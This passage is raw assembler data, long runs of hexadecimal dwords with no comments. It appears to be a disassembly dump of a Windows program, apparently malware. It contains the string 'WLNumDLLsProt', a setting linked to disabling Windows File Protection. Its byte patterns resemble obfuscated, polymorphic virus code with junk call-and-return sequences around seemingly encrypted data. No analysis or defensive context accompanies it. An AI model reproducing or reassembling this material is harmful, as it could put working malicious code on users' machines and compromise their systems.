		dd 0D132E066h, 754618F1h, 0FC4234EAh, 0E6h, 61h	dup(0)
		dd 5316B8CFh, 0CC24AF7Ah, 6A411AA3h, 0B04723F9h, 91A6C4E6h
		dd 0EF1F0D95h, 0FB74483Dh, 90D18FA5h, 5D5F8D9Dh, 8329EA7Ah
		dd 735A09BCh, 0F04F33FDh, 0D99681BCh, 0BF5B109Dh, 0EB6A4622h
		dd 91FCE8A1h, 1F0CD988h, 0C621E176h, 7E511CB2h,	0B15A24ADh
		dd 90A4C4A9h, 0BF4C0B8Eh, 0EA335520h, 939283B6h, 1F519A99h
		dd 0D02EE74Bh, 765D0EF1h, 0FE5466E8h, 0D986C3A6h, 0F44D118Bh
		dd 0F07D466Fh, 9D838DA9h, 0D2h,	0E0h dup(0)
aWlnumdllsprot	db 'WLNumDLLsProt',0
a0		db '0',0
		dd 8 dup(0)
		dd 78450000h, 53207469h, 75746174h, 203D2073h, 6425h, 0
		dd 0E9000000h, 2D2Dh, 1BC18529h, 6AFC0612h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 4D71C351h
		dd 5AE8E707h, 0F5105E7h, 0BA66D3BFh, 0C08B5191h, 2C42BA66h
		dd 0E71BD83h, 75000612h, 69BD8309h, 6122Dh, 53501374h
		dd 1B8C08Bh, 8D000000h,	14AE8C9Dh, 5BD3FF06h, 69BD8358h
		dd 6122Dh, 53501174h, 1B8h, 3D9D8D00h, 0FF0614ADh, 8B585BD3h
		dd 3890FD6h, 0F000000h,	0C08BD2BFh, 83DA8B66h, 1234FDBDh
		dd 840F0006h, 14Dh, 3E1BD83h, 0F000612h, 14084h, 7DB52900h
		dd 6006120Ah, 4598589h,	858B0612h, 61203E1h, 0DE9h, 0FC259400h
		dd 6BA53B98h, 0F51053A6h, 9D8B9A70h, 612000Dh, 3E805h
		dd 68A0F00h, 89000000h,	121631BDh, 66605006h, 13E9CE8Bh
		dd 65000000h, 244A0E57h, 0A6D57A0Ah, 0A9A6D195h, 5ED61E61h
		dd 89616854h, 9D8B2404h, 6123499h, 5041858Dh, 958B0612h
		dd 612265Dh, 5038B390h,	0F81DE5BAh, 0BB669019h,	858D8AB0h
		dd 612501Fh, 0AE990h, 270000h, 67CCCC63h, 91507EE6h, 158F0F50h
		dd 0E9000000h, 10h, 3FCC0419h, 1B568236h, 252F5B3Eh, 5A1EBDE5h
		dd 26D28190h, 0E9418FCBh, 0Eh, 44667B1Bh, 520B74EAh, 0ACEC2F2Ch
		dd 95FF9410h, 6120949h,	25259D8Bh, 0C4830612h, 9E90Ch
		dd 18620000h, 0DC0FB0BFh, 8D66F496h, 12501F85h,	3FBA5706h
		dd 5B5AD6E7h, 5E890h, 9CDE0000h, 0E87DD7CCh, 0Dh, 0D2FF42A6h
		dd 0D7B64D66h, 8E7EDC37h, 9DBB6621h, 505B5A81h,	3190D68Bh
		dd 1219818Dh, 89026A06h, 1233CD8Dh, 0FABA6606h,	1495FF3Ah
		dd 29006AEDh, 12237195h, 81666106h, 8A69F6E3h, 5285C7F9h
		dd 1061250h, 89000000h,	120FED8Dh, 0B3515006h, 34895AA5h
		dd 359D0324h, 81061233h, 365202EAh, 3B58977h, 89061250h
		dd 1223759Dh, 0E9BD8306h, 106121Fh, 44850Fh, 9D330000h
		dd 6121285h, 5A5FE381h,	0F883466Eh, 2F850F05h, 31000000h
		dd 121265B5h, 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0F9F6CEC3h, 0CAA6BB90h
		dd 0BD836C81h, 6122CFDh, 0A2840F00h, 0E9000000h, 13h, 32EB3B76h
		dd 4F99D278h, 529DACC7h, 0BAD1411Eh, 602632A1h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0FAC35545h, 0FBC2BC00h
		dd 0EDDF979Dh, 6860Fh, 9D230000h, 61203F1h, 2DA18D09h
		dd 958B0612h, 6120469h,	2CFD95FFh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 40719DC3h
		dd 0F9B438B5h, 0E8FDC2F6h, 0Dh,	7E3FC40Fh, 87006B8Fh, 0AD9B1D6Eh
		dd 89F5607Eh, 120551BDh, 8A5B6106h, 0C78061FEh,	39BD8332h
		dd 61230h, 17840Fh, 800F0000h, 6, 8448F381h, 0B82CC9h
		dd 8B000000h, 12262D9Dh, 8E96006h, 64000000h, 0A82460D5h
		dd 8B43AB19h, 122A2585h, 0C2816606h, 0C0831DD9h, 52006A02h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 15BBA910h, 85890743h, 6124FFBh, 0C6D98B66h, 6AFF00h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 85C656C3h, 6120259h,	51006A53h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 891BBA57h, 0BF0F63D9h
		dd 2C6468DAh, 6660E197h, 0EC8AD18Bh, 24348161h,	1D2664BCh
		dd 12C19D89h, 0B5FF0612h, 6122E69h, 8E9h, 0DA82D200h, 69F3D338h
		dd 0A4858D53h, 8B061581h, 1206699Dh, 0FD0FF06h,	8589D7B7h
		dd 6122475h, 7E9h, 0D159C700h, 0C68FA362h, 9C9BD83h, 0F010612h
		dd 0DA85h, 6860F00h, 33000000h,	121CF195h, 6A6106h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0D30739C3h, 29DFB3B0h, 0BA34986Fh, 12011EDEh, 25985C6h
		dd 89450612h, 1203E9BDh, 4E806h, 38C20000h, 0FFB2DA60h
		dd 50525050h, 0E9310F52h, 0Eh, 0DC2C3934h, 38083BDDh, 351DF811h
		dd 585A5BA1h, 14E9310Fh, 0FA000000h, 38420937h,	4911CB6Bh
		dd 0F841678Dh, 0D2376DADh, 5A5E826Eh, 24448B58h, 0D0A8BA04h
		dd 8B31C4h, 0BD81BA66h,	4244489h, 9D8B5258h, 6121C45h
		dd 69B5FF5Ah, 8B06122Eh, 1230F99Dh, 0A4858D06h,	0F061581h
		dd 187h, 9D89FC00h, 6121549h, 0D281D0FFh, 174F8011h, 0A9BB006Ah
		dd 0FF4B2F19h, 1DB509D0h, 83061224h, 1229D9BDh,	850F0106h
		dd 0D8h, 0DE9h,	8AC30300h, 0DADB2C7Eh, 0E0493A07h, 858BEEDBh
		dd 6122A25h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	37C35040h, 28A0FA0h, 8B000000h,	51E9D3h, 50F50000h
		dd 10E960h, 64120000h, 44A6E2Ah, 0CF5DCBC7h, 61A25769h
		dd 5E930E1h, 96000000h,	0EEFFAEE0h, 24048961h, 2D819531h
		dd 0BB660612h, 146A095Bh, 2D6D9D8Bh, 81660612h,	0FF0A1FDBh
		dd 12247595h, 759D8B06h, 0F5061205h, 799D0358h,	80061233h
		dd 850F0038h, 0FFFFFFA7h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 8EC35646h, 0F86A664h,	0C6D9BFh, 0BE801h
		dd 8A440000h, 0D017DA9h, 153E4D7Eh, 0EDDA8108h,	5B3C3D2Bh
		dd 0D3B70F61h, 24D5BD83h, 0F000612h, 5884h, 0FE800h, 590D0000h
		dd 0CDBF0BBFh, 6E4CEF26h, 82908114h, 6A5AF820h,	7E9FFh
		dd 6ECA0000h, 6DED502Ah, 7595FF77h, 6A061224h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 129CC350h, 43CC081Fh, 7E86BA2Ch, 0C0E93072h,	8BFFFFFFh
		dd 0D585C7D0h, 1061224h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 896EC356h
		dd 75DF2FF5h, 810F5954h, 10h, 9E952h, 4AB00000h, 4C91E2D6h
		dd 5ABF89E8h, 50078589h, 6CB70612h, 6F57BB90h, 515041B9h
		dd 61605250h, 0BB66310Fh, 585AAAFAh, 0EA81905Ah, 6E4A1BA8h
		dd 6AD68B60h, 858DF905h, 612501Fh, 13E8h, 1609D300h, 0E4812029h
		dd 76E3D48Dh, 884CB1F6h, 9CEBCD22h, 5A5A5751h, 0CFB2905Ah
		dd 88E0F50h, 0F000000h,	284h, 90FBB300h, 19B6D281h, 858D76FBh
		dd 612500Fh, 0C749BA66h, 8992B650h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0BBF144C3h
		dd 1D23061Dh, 8B17653Eh, 12198D9Dh, 5995FF06h, 6A06122Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 3A99C353h, 8C0F93EBh, 0Bh, 5890Fh, 81660000h
		dd 8D85E2F3h, 127D2D8Dh, 318D3106h, 0B06122Eh, 8D1174C0h
		dd 12501F85h, 0D1FF5006h, 503D8589h, 0AEB0612h,	503D85C7h
		dd 0FFFF0612h, 6AFFFFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0F960E2C3h, 0AE8h, 8F34400h, 6224A240h
		dd 66DA7DB8h, 615FD38Bh, 63E38166h, 6D9D8B28h, 80061226h
		dd 666123E7h, 0C6629ABAh, 12025985h, 6A4D06h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7F3250C3h
		dd 9A895DB5h, 892A0566h, 12210D9Dh, 0CDBD8906h,	6806122Eh
		dd 48939EB9h, 48155B3h,	0A1D7EF24h, 8E95Bh, 509F0000h
		dd 307EC688h, 0B5FF8082h, 6123511h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 5C35040h, 0FE51BFFFh, 0C280527Fh
		dd 8B565BC7h, 1231B195h, 858D5A06h, 61581A4h, 23499D8Bh
		dd 0D0FF0612h, 89D38B66h, 122BE185h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0D211D220h
		dd 89FE7278h, 123519B5h, 5985C606h, 45061202h, 575958Bh
		dd 53680612h, 8BACE1D4h, 243481DFh, 2293BD3Ah, 0B5FFF48Ah
		dd 6122E69h, 6DF28166h,	0A4858DE0h, 6A061581h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0D3AC352h, 0BE9h, 14320F00h,	28764B5h, 22C8FB6Fh, 0E281D0FFh
		dd 569C84B0h, 66D8589h,	810F0612h, 6, 295B589h,	0D28B0612h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0ADC35343h
		dd 358B96BDh, 0F698D1CFh, 2DA1B589h, 8C660612h,	0D5BD89D9h
		dd 0F6061230h, 840F04C1h, 249h,	0FE3CBB66h, 0F1E9h, 0B58BFC00h
		dd 6123281h, 0C681EBB2h, 1180h,	0D9BD09F8h, 83061224h
		dd 121B21BDh, 850F0006h, 55h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0DEC35343h,	9D029D1Ch, 0A2D60AD8h
		dd 8FE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 2A78DA42h, 0D34B4CBAh, 89D68B66h
		dd 122C89BDh, 3E8306h, 5A840Fh,	89600000h, 1204C585h, 61D38B06h
		dd 35958B60h, 6A06122Dh, 0A99D2314h, 0FF061220h, 12247595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 8338AAF1h, 7A66BA66h, 1A8D8589h,	9610612h
		dd 1231B1BDh, 0FFA3E906h, 958BFFFFh, 6121511h, 106C7h
		dd 0BE90000h, 8D000000h, 0BC6FCD7Eh, 0AAFB01A3h, 0BD83F42Ah
		dd 6125007h, 42850F05h,	0F000001h, 0C82h, 6800F00h, 8B000000h
		dd 12272D9Dh, 6DB58B06h, 6A061206h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 238CC351h
		dd 5E94163h, 15000000h,	0DC521BEAh, 64B9h, 8B0F5200h, 2
		dd 805B5A50h, 840FE83Eh, 3Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 94C35242h, 1BBB084Fh, 0E95B8E35h
		dd 37h,	31BD8960h, 0E8061234h, 9, 7060E131h, 0A288CCDFh
		dd 80615A9Ch, 0FC2057Eh, 5A84h,	0A820F00h, 60000000h, 0BD896160h
		dd 612036Dh, 0D1958961h, 4606121Ah, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0A0C35040h,	8F7C2357h, 6E919h
		dd 0A7820000h, 0C3CE6814h, 64850F49h, 89FFFFFFh, 120F49B5h
		dd 4BE906h, 46BB0000h, 893EB83Eh, 120039B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0BA9A350Ch, 4D72215Ch, 10E9588Ah, 77000000h,	6C0FC0A9h
		dd 0B60ECBC2h, 0FC63F092h, 893205BEh, 1229F5BDh, 6A5806h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0FCD705C3h, 0E9E20752h, 14h,	0B6475734h, 38D2D1A9h
		dd 0D22B881Bh, 0FB1CBCFAh, 0FA312F67h, 33EDBD83h, 0F000612h
		dd 0FE84h, 89DC8A00h, 12279595h, 0BF0F6006h, 5985C6DEh
		dd 54061202h, 6810Fh, 95230000h, 6122E71h, 4E8h, 4EBEF400h
		dd 28A0FFFh, 8A000000h,	5DBB50DCh, 8B5DDABFh, 0F042444h
		dd 0E82h, 52506000h, 585A310Fh,	820Fh, 8B610000h, 0D38B5600h
		dd 2444895Bh, 8E904h, 0FD6D0000h, 0A89FDB4Fh, 0F58060Ah
		dd 0B5FFDFB7h, 6122E69h, 2D5ED381h, 858D4B14h, 61581A4h
		dd 24F6BA66h, 958BD0FFh, 61219D5h, 2EBDB589h, 6A0612h
		dd 9E8h, 0DE3E5400h, 0D62D55C2h, 0EA8163A3h, 3002FB0Bh
		dd 0EDB5FF5Bh, 6A061233h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 7E7AC356h, 0E5B96C9Ch
		dd 0D0FF11D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	32C35141h, 0A2C494F9h, 68E0Fh, 8D890000h, 6120439h
		dd 0C70CB361h, 12042D85h, 106h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 648DF453h
		dd 80D090DFh, 0F96068CEh, 8C340068h, 665250D2h,	0FD82EBAh
		dd 0FE831h, 0D24D0000h,	85AB8BDCh, 9C487E8Eh, 43DA4FF6h
		dd 5BBBB2A2h, 481585Ah,	73CC8024h, 0D3B70F2Dh, 0C380FF6Ah
		dd 6D95FF52h, 6A06121Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 3A3EC357h, 76F566CAh
		dd 66144EE0h, 0B28EC381h, 3335B589h, 8B610612h,	120A2D9Dh
		dd 8B669006h, 8B6650DFh, 11E990DFh, 0BB000000h,	97AA260Eh
		dd 9864F812h, 0CBEA6513h, 1EF8BCF6h, 27A1858Bh,	81660612h
		dd 0B429ADAh, 38840FC0h, 60000000h, 4318503h, 8D8B0612h
		dd 6121715h, 0D1B53161h, 0FF061220h, 1204CD95h,	0CE806h
		dd 0AC4B0000h, 99964B61h, 8D8DBFCBh, 7E939E3h, 81000000h
		dd 40EA5856h, 0C75AC1B4h, 1207DD85h, 106h, 15BD0900h, 83061213h
		dd 120509BDh, 840F0006h, 33h, 0FFDF8B66h, 12001D95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0F496DC0Fh, 4978CF66h, 0F5E68036h, 83D18B66h, 122DDDBDh
		dd 840F0006h, 3Dh, 21A18589h, 95FF0612h, 6121B35h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 58C35040h, 44374F89h
		dd 0BE9F5h, 0B26D0000h,	39AB7FE8h, 0F73102A9h, 35BD833Ch
		dd 6121Ah, 25840Fh, 958B0000h, 612266Dh, 1475BD83h, 0F000612h
		dd 1285h, 45958B00h, 0FF061209h, 1231B595h, 85B58906h
		dd 83061212h, 1223BDBDh, 840F0006h, 3Dh, 0A218501h, 85810612h
		dd 61234F5h, 4003h, 0D0BA6657h,	85815A90h, 6123205h, 4003h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 19C35545h
		dd 66310F8Eh, 0FAF381h,	5F258D8Dh, 6A0612h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 961EA1C3h
		dd 9DF891F6h, 66D0BF0Fh, 9D8BD98Bh, 6122C05h, 0DE90189h
		dd 49000000h, 0F0DACA66h, 0B550C2BBh, 47CCACC8h, 8956C233h
		dd 1209799Dh, 41895B06h, 38E0F04h, 0F000000h, 310FD3BFh
		dd 5958B57h, 5A061235h,	5F358D8Dh, 0F2810612h, 0FD96177h
		dd 9D030189h, 6122BA1h,	0D08BC233h, 29044189h, 1202F195h
		dd 9BD8306h, 61206h, 4C840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 893A47C3h
		dd 57AB6DD9h, 0A282BA04h, 0B509792Ch, 612161Dh,	20995FFh
		dd 8B660612h, 10E9DEh, 0A2EB0000h, 0F7DE2D2Dh, 6324A943h
		dd 1DBAE510h, 0BD83E30Fh, 612237Dh, 87850F01h, 89000000h
		dd 121FF9BDh
		dd 7CE906h, 800F0000h, 0Ch, 6870Fh, 0B5010000h,	612218Dh
		dd 6058B58Bh, 6C70612h,	0
		dd 5E56B58Bh, 6C70612h,	0
		dd 53006ACFh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0DFE11631h, 0F7935437h, 57ACDA81h, 8D0F2A17h
		dd 1Ch,	16890Fh, 11E90000h, 0DF000000h,	0ED4D2748h, 0E9CFDD88h
		dd 2903DE61h, 489A33ABh, 7BEDB81h, 0BD837E73h, 61207DDh
		dd 0E3840F00h, 0E9000000h, 12h,	0B1DE5F10h, 0EF8ADAA4h
		dd 802A7E60h, 0D508CE5Fh, 0BD8332ECh, 6122D25h,	0A0850F01h
		dd 8B000000h, 122FD195h, 0D5BD8906h, 8B061229h,	124FFB8Dh
		dd 0CB816606h, 1C60824h, 13BB6600h, 0BE96027h, 5E000000h
		dd 5400A244h, 0E112D6BAh, 2C68CB83h, 0E8607B60h, 0Dh, 0D3F9CB93h
		dd 0F1F8C5A2h, 0A4665B07h, 8B666091h, 8F74BEF0h, 5B611A8Bh
		dd 0AC243481h, 6A607B60h, 358D89FFh, 0FF06122Dh, 121B6D95h
		dd 68B0F06h, 8B000000h,	12030195h, 8E906h, 946B0000h, 999C219Eh
		dd 8961D7A1h, 122CF995h, 0FFFA8A06h, 12037195h,	0FB8D8B06h
		dd 6606124Fh, 0BA66D38Bh, 1FEF22Ch, 8328D780h, 1229E5BDh
		dd 850F0106h, 12h, 1A399D2Bh, 840F0612h, 6, 309B529h, 0C08B0612h
		dd 83D98B66h, 120E71BDh, 9750006h, 2D69BD83h, 74000612h
		dd 8B53501Ah, 0F5858BC0h, 89061234h, 1234F585h,	0EA9D8D06h
		dd 0FF0614AFh, 83585BD3h, 122D69BDh, 18740006h,	858B5350h
		dd 61234F5h, 34F58589h,	9D8D0612h, 614ACD9h, 585BD3FFh
		dd 9A81DA81h, 6A7979h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BF0FA7C3h, 9D8960D2h, 6122755h
		dd 1B58960h, 66061220h,	61BB73BBh, 0DFB70F61h, 8E0FC08Bh
		dd 3, 83D88B66h, 1207DDBDh, 850F0006h, 20h, 0F999503h
		dd 0BD830612h, 6123579h, 0D840F00h, 60000000h, 58B0Fh
		dd 81660000h, 61145EC1h, 7DDBD83h, 0F000612h, 1C84h, 899D8900h
		dd 89061203h, 122E1D9Dh, 9BD8306h, 61217h, 3840Fh, 0B70F0000h
		dd 0DDBD83D7h, 61207h, 36840Fh,	8B660000h, 9BD83D1h, 61217h
		dd 26840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 83C423C3h, 7A625EFCh, 0F95F26FDh
		dd 7DDBD83h, 0F000612h,	5284h, 0DB816600h, 0BD838B1Ah
		dd 6122565h, 40840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 9947C350h
		dd 9A5412Ah, 0BE9E0h, 0A4480000h, 0C921F5C3h, 0FB5152CEh
		dd 8830F5Ah, 60000000h,	649BD31h, 83610612h, 1207DDBDh
		dd 840F0006h, 2Eh, 8166F18Ah, 83295AEBh, 122079BDh, 840F0006h
		dd 1Ah,	880FEEB6h, 6, 2E1DBD89h, 95FF0612h, 6123011h, 21319589h
		dd 0C08B0612h, 0BD8323B6h, 6120E71h, 83097500h,	122D69BDh
		dd 1A740006h, 0C08B5350h, 3205858Bh, 85890612h,	6123205h
		dd 0B0519D8Dh, 0D3FF0614h, 0BD83585Bh, 6122D69h, 50187400h
		dd 5858B53h, 89061232h,	12320585h, 0F29D8D06h, 0FF0614ACh
		dd 8B585BD3h, 1214BD9Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 75AEB672h, 54F2C95Dh
		dd 11BB666Ch, 6AC08B57h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0B8C4C355h,	81FF88FFh
		dd 88466BCAh, 0DDBD8326h, 61207h, 3D7840Fh, 8D890000h
		dd 6120055h, 9C9BD83h, 0F020612h, 1884h, 359D2B00h, 83061214h
		dd 12237DBDh, 850F0106h, 5, 0AFDB8166h,	0BF0F60D0h, 0FB8D8BDEh
		dd 8B06124Fh, 12345D95h, 6A01FE06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CC353h
		dd 68CD759Eh, 44E34DE4h, 0C88B6660h, 6E95250h, 45000000h
		dd 303BE573h, 60310F99h, 61585A61h, 64243481h, 8B44E34Dh
		dd 0F19D8BD8h, 6A061230h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E9A13EC1h
		dd 8, 5304E6ADh, 0D00F74CEh, 1B6D95FFh,	52600612h, 8B5AD68Bh
		dd 120F6595h, 0E9616106h, 9, 0DBD4E542h, 0BF8C7DA2h, 79BD8D04h
		dd 66061225h, 8BFED2BAh, 6A1C4Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0C897A0C3h, 2F76EA3Eh
		dd 6AD58A96h, 0DB816601h, 0F91F945h, 48Dh, 10BA6600h, 0AE850CCh
		dd 36000000h, 39227C88h, 5ABF2252h, 5EBB6624h, 29915A28h
		dd 1225199Dh, 0B9858D06h, 6006153Dh, 1B599D29h,	9D890612h
		dd 612261Dh, 0FF74B361h, 0E58D89D0h, 8B06122Bh,	8B53204Fh
		dd 122D459Dh, 36A5B06h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 11C35343h, 0CE92Dh, 2C750000h, 8E5C5918h
		dd 30DA8AB7h, 8589B06Eh, 6120405h, 6FD28166h, 11E950C1h
		dd 0B1000000h, 294C006Ah, 1E0E834Eh, 59E50A5h, 302644D2h
		dd 0BA240C89h, 7B9D08E8h, 3DB9858Dh, 5CB70615h,	6AD0FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9E952C3h, 0D7000000h, 0A1C1CFA5h, 0DD80B8AFh, 1AA1950Bh
		dd 0BD8D0612h, 6122579h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 92C35747h, 0F62A3C69h, 0BADA9F3Dh, 4B23A359h
		dd 6A1C4F8Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0C7A5C355h, 0A1622F02h, 0DE8048Ah
		dd 56000000h, 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 2E05E281h
		dd 6A5A6BAEh, 5850F01h,	0BA000000h, 2AE8D76Fh, 8995B750h
		dd 6A240Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 97FACFC3h, 7D551222h, 9659D23h, 958B0612h
		dd 61209C5h, 3DB9858Dh,	9D8B0615h, 612210Dh, 6EE28166h
		dd 0E9D0FF04h, 0Fh, 6A794347h, 0C8173718h, 2E4639BEh, 0E96C1F56h
		dd 0Fh,	0D2C775B8h, 0C7A6979Eh,	0A4CDA58Dh, 8B5DC7F6h
		dd 11E9204Fh, 6000000h,	0BFF1807Ch, 4D051B53h, 6D0DB6D3h
		dd 0F4466F97h, 1299BD89h, 36A0612h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0DEC35646h,	50FF62D5h, 2E618D89h
		dd 915B0612h, 0B65003B6h, 7E991A8h, 4A000000h, 0EFB22AA0h
		dd 858D1D58h, 6153DB9h,	1AB98501h, 0D0FF0612h, 31499523h
		dd 8D8B0612h, 6124FFBh,	1FEDA8Bh, 78EECB81h, 858B6750h
		dd 6124FFBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0F1C35141h, 298D894Eh, 0FE061232h, 0E9958B00h
		dd 6A061225h, 159D8901h, 29061217h, 12028D9Dh, 72D96806h
		dd 0EE9DEE8h, 0DD000000h, 7801CEF6h, 1BD70ABBh,	0BA3E9889h
		dd 24348138h, 2117ED26h, 0ED0BC281h, 858D780Dh,	6153DC3h
		dd 213D8D89h, 8B660612h, 29D0FFDEh, 1234F995h, 79BD8306h
		dd 61235h, 0ED840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 107479C3h, 2905CD6Ch
		dd 120521B5h, 0E9BD8306h, 106121Fh, 0B9850Fh, 0B70F0000h
		dd 0CD8D8DDAh, 0F06153Dh, 683h,	59D3300h, 6A061235h, 50006A03h
		dd 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0D90C0939h, 0AC0FF381h
		dd 16A1110h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	87C35646h, 6810Fh, 95890000h, 61207F9h,	97DBD29h
		dd 0D1FF0612h, 38D0Fh, 0B70F0000h, 80016AD8h, 71BA54C3h
		dd 6A17BB03h, 0DEB8001h, 89D1FFF8h, 120A1985h, 0D9B70F06h
		dd 496D8EE8h, 10E8FAh, 37490000h, 4DF2588Eh, 0AD3F090Ah
		dd 891519DAh, 9D8986C2h, 6120865h, 2985895Ah, 6A06121Ah
		dd 57006A20h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 98F0FDDh, 0F000000h, 382h, 0D18B6600h, 34358D31h
		dd 0FF6A0612h, 0CCF2BA66h, 19958D29h, 95FF0612h, 6121B6Dh
		dd 798D8960h, 66061233h, 0C231D981h, 0A9958961h, 0B806121Ah
		dd 0
		dd 0DE9h, 2559C300h, 6E5095EFh,	0B7778990h, 0C00B2ECDh
		dd 3F840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 170424h, 51410000h, 44C8DDC3h, 0DBB70FE4h, 4ADBD83h
		dd 0F000612h, 1084h, 67F38100h,	0FF488B31h, 120C1D95h
		dd 69BB6606h, 25858B99h, 0F06122Ah, 68Bh, 3D9D8900h, 0E806122Eh
		dd 14h,	0FF2EA1DEh, 51BCC56Eh, 7DE8803Dh, 1D68D90Ah, 0A1401DA5h
		dd 1859523h, 0C65B0612h, 0BE90000h, 0D3000000h,	0E53CF2E1h
		dd 0CFE33B2Eh, 8B587C9Fh, 0DD958BD1h, 66061233h, 6AD98Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 51338C3h, 12E91935h,	0AF000000h, 0B712C484h,	18A385FEh
		dd 1746A0D6h, 8CDF30D1h, 4C1F6E1h, 43840Fh, 0CB810000h
		dd 778F75D1h, 1255958Bh, 32E90612h, 8A000000h, 81B58BD5h
		dd 8B061232h, 1225E195h, 80C68106h, 8B000011h, 12173995h
		dd 0AE906h, 0BBCB0000h,	0D63B535Fh, 868F6331h, 6C7h, 8B660000h
		dd 9D295EDFh, 61202BDh,	0F00F883h, 0C4A84h, 0D1BA6600h
		dd 1F883C5h, 1AA850Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 7D49A1C3h, 848AA61h
		dd 8ADBEE1Fh, 0B8F5h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0C00BFBC3h, 0D9840Fh
		dd 0F8830000h, 0FD840F01h, 0BA000000h, 6FA94D4Bh, 0F03F883h
		dd 5484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0D8033FFFh, 0FB393D80h, 958B5DA2h
		dd 6121BE1h, 0B8h, 8D72B600h, 5B89E0BDh, 8810F00h, 60000000h
